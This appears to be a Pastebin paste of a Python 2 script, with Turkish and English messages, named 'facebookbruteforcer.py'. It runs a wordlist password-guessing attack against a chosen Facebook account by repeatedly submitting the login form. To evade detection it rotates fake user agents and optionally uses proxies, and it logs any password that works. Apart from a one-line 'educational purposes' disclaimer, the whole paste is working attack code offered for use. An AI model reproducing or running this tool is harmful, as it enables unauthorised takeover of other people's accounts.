Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2017
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.90 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Eğitim Amaçlı Yazılmıştır.Kullananın Kendi sorumluluğunuzdadır.
  3. # Adı : facebookbruteforcer.py
  4. # Version : 1.0
  5. # P4rs.Net
  6.  
  7. import re
  8. import os
  9. import sys
  10. import random
  11. import warnings
  12. import time
  13. try:
  14. import mechanize
  15. except ImportError:
  16. print "[*] Lütfen önce python modülünü mekanize edin."
  17. sys.exit(1)
  18. except KeyboardInterrupt:
  19. print "\n[*] Çıkış programı...\n"
  20. sys.exit(1)
  21. try:
  22. import cookielib
  23. except ImportError:
  24. print "[*] Lütfen öncelikle cookielib python modülünü kurun"
  25. sys.exit(1)
  26. except KeyboardInterrupt:
  27. print "\n[*] Çıkış programı...\n"
  28. sys.exit(1)
  29.  
  30. warnings.filterwarnings(action="ignore", message=".*Gzip transfer kodlaması deneysel!", category=UserWarning)
  31.  
  32. # define variable
  33. __programmer__ = "p4"
  34. __version__ = "2.1"
  35. verbose = False
  36. useproxy = False
  37. usepassproxy = False
  38. log = 'fbbruteforcer.log'
  39. file = open(log, "a")
  40. success = 'http://www.facebook.com/?sk=messages&ref=mb'
  41. fblogin = 'https://login.facebook.com/login.php?login_attempt=1'
  42. # some cheating ..
  43. ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  44. 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  45. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  46. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  47. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  48. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  49. 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  50. 'Opera/8.00 (Windows NT 5.1; U; en)',
  51. 'amaya/9.51 libwww/5.4.0',
  52. 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  53. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  54. 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  55. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  56. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  57. 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  58. ]
  59. facebook = '''
  60. __ _ _
  61. / _| | | | |
  62. | |_ __ _ ___ ___| |__ ___ ___ | | __
  63. | _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  64. | || (_| | (_| __/ |_) | (_) | (_) | <
  65. |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  66. bruteforcer...
  67.  
  68. Programmer : %s
  69. Version : %s''' % (__programmer__, __version__)
  70. option = '''
  71. Usage : %s [options]
  72. Option : -u, --username | User for bruteforcing
  73. -w, --wordlist | Wordlist used for bruteforcing
  74. -v, --verbose | Set %s will be verbose
  75. -p, --proxy | Set http proxy will be use
  76. -k, --usernameproxy | Set username at proxy will be use
  77. -i, --passproxy
  78. | Set password at proxy will be use
  79. -l, --log | Specify output filename (default : fbbruteforcer.log)
  80. -h, --help | Print this help
  81.  
  82. Example : %s -u brad@hackme.com -w wordlist.txt"
  83.  
  84. P.S : add "&" to run in the background
  85. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  86. hme = '''
  87. Usage : %s [option]
  88. -h or --help for get help
  89. ''' % sys.argv[0]
  90.  
  91. def helpme():
  92. print facebook
  93. print option
  94. file.write(facebook)
  95. file.write(option)
  96. sys.exit(1)
  97.  
  98. def helpmee():
  99. print facebook
  100. print hme
  101. file.write(facebook)
  102. file.write(hme)
  103. sys.exit(1)
  104.  
  105. for arg in sys.argv:
  106. try:
  107. if arg.lower() == '-u' or arg.lower() == '--user':
  108. username = sys.argv[int(sys.argv[1:].index(arg))+2]
  109. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  110. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  111. elif arg.lower() == '-l' or arg.lower() == '--log':
  112. log = sys.argv[int(sys.argv[1:].index(arg))+2]
  113. elif arg.lower() == '-p' or arg.lower() == '--proxy':
  114. useproxy = True
  115. proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  116. elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  117. usepassproxy = True
  118. usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  119. elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  120. usepassproxy = True
  121. usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  122. elif arg.lower() == '-v' or arg.lower() == '--verbose':
  123. verbose = True
  124. elif arg.lower() == '-h' or arg.lower() == '--help':
  125. helpme()
  126. elif len(sys.argv) <= 1:
  127. helpmee()
  128. except IOError:
  129. helpme()
  130. except NameError:
  131. helpme()
  132. except IndexError:
  133. helpme()
  134.  
  135. def bruteforce(word):
  136. try:
  137. sys.stdout.write("\r[*] Trying %s... " % word)
  138. file.write("[*] Trying %s\n" % word)
  139. sys.stdout.flush()
  140. br.addheaders = [('User-agent', random.choice(ouruseragent))]
  141. opensite = br.open(fblogin)
  142. br.select_form(nr=0)
  143. br.form['email'] = username
  144. br.form['pass'] = word
  145. br.submit()
  146. response = br.response().read()
  147. if verbose:
  148. print response
  149. if success in response:
  150. print "\n\n[*] Logging in success..."
  151. print "[*] Username : %s" % (username)
  152. print "[*] Password : %s\n" % (word)
  153. file.write("\n[*] Logging in success...")
  154. file.write("\n[*] Username : %s" % (username))
  155. file.write("\n[*] Password : %s\n\n" % (word))
  156. sys.exit(1)
  157. except KeyboardInterrupt:
  158. print "\n[*] Exiting program...\n"
  159. sys.exit(1)
  160. except mechanize._mechanize.FormNotFoundError:
  161. print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
  162. file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
  163. sys.exit(1)
  164. except mechanize._form.ControlNotFoundError:
  165. print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
  166. file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
  167. sys.exit(1)
  168.  
  169. def releaser():
  170. global word
  171. for word in words:
  172. bruteforce(word.replace("\n",""))
  173.  
  174. def main():
  175. global br
  176. global words
  177. try:
  178. br = mechanize.Browser()
  179. cj = cookielib.LWPCookieJar()
  180. br.set_cookiejar(cj)
  181. br.set_handle_equiv(True)
  182. br.set_handle_gzip(True)
  183. br.set_handle_redirect(True)
  184. br.set_handle_referer(True)
  185. br.set_handle_robots(False)
  186. br.set_debug_http(False)
  187. br.set_debug_redirects(False)
  188. br.set_debug_redirects(False)
  189. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  190. if useproxy:
  191. br.set_proxies({"http": proxy})
  192. if usepassproxy:
  193. br.add_proxy_password(usw, usp)
  194. if verbose:
  195. br.set_debug_http(True)
  196. br.set_debug_redirects(True)
  197. br.set_debug_redirects(True)
  198. except KeyboardInterrupt:
  199. print "\n[*] Exiting program...\n"
  200. file.write("\n[*] Exiting program...\n")
  201. sys.exit(1)
  202. try:
  203. preventstrokes = open(wordlist, "r")
  204. words = preventstrokes.readlines()
  205. count = 0
  206. while count < len(words):
  207. words[count] = words[count].strip()
  208. count += 1
  209. except IOError:
  210. print "\n[*] Error: Kelime listesi yolunu kontrol et\n"
  211. file.write("\n[*] Error: Check your wordlist path\n")
  212. sys.exit(1)
  213. except NameError:
  214. helpme()
  215. except KeyboardInterrupt:
  216. print "\n[*] Çıkış programı...\n"
  217. file.write("\n[*] Çıkış programı...\n")
  218. sys.exit(1)
  219. try:
  220. print facebook
  221. print "\n[*] Atak başlıyor %s" % time.strftime("%X")
  222. print "[*] Account for bruteforcing %s" % (username)
  223. print "[*] Loaded :",len(words),"words"
  224. print "[*] Bruteforcing, Bekleyiniz..."
  225. file.write(facebook)
  226. file.write("\n[*] Starting attack %s" % time.strftime("%X"))
  227. file.write("\n[*] Account for bruteforcing %s" % (username))
  228. file.write("\n[*] Loaded : %d words" % int(len(words)))
  229. file.write("\n[*] Bruteforcing, please wait...\n")
  230. except KeyboardInterrupt:
  231. print "\n[*] Exiting program...\n"
  232. sys.exit(1)
  233. try:
  234. releaser()
  235. bruteforce(word)
  236. except NameError:
  237. helpme()
  238.  
  239. if __name__ == '__main__':
  240. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement